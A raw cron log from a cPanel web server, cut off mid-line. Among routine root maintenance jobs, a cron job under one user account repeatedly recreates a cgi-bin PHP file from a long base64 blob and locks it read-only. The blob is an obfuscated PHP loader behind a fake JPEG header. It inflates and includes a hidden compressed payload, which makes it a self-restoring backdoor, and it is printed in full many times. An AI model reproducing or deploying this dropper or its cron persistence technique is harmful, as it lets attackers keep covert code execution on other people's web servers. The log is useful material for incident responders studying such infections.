Sep  4 14:15:01 server CROND[32591]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 14:15:01 server CROND[32597]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 14:15:01 server CROND[32603]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:15:01 server CROND[32602]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  4 14:15:01 server CROND[32604]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 14:15:01 server CROND[32606]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:15:01 server CROND[32607]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 14:15:01 server CROND[32605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:16:01 server CROND[1017]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:16:01 server CROND[1018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:16:01 server CROND[1019]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:17:01 server CROND[1532]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:17:01 server CROND[1533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:17:01 server CROND[1534]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:18:01 server CROND[1930]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:18:01 server CROND[1931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:18:01 server CROND[1932]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:19:01 server CROND[2451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:19:01 server CROND[2452]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:19:01 server CROND[2453]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:20:01 server CROND[2885]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 14:20:01 server CROND[2886]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 14:20:01 server CROND[2889]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 14:20:01 server CROND[2901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:20:01 server CROND[2902]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 14:20:01 server CROND[2900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:20:01 server CROND[2905]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:20:01 server CROND[2903]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 14:20:01 server CROND[2893]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 14:21:01 server CROND[3736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:21:01 server CROND[3737]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:21:01 server CROND[3738]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:22:01 server CROND[4123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:22:01 server CROND[4124]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:22:01 server CROND[4125]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:23:01 server CROND[4508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:23:01 server CROND[4509]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:23:01 server CROND[4510]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:24:01 server CROND[4995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:24:01 server CROND[4996]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:24:01 server CROND[4997]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:25:01 server CROND[5404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:25:01 server CROND[5410]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  4 14:25:01 server CROND[5409]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 14:25:01 server CROND[5407]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:25:01 server CROND[5408]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 14:25:01 server CROND[5411]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 14:25:01 server CROND[5412]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 14:25:01 server CROND[5406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:26:01 server CROND[6255]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:26:01 server CROND[6256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:26:01 server CROND[6257]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbx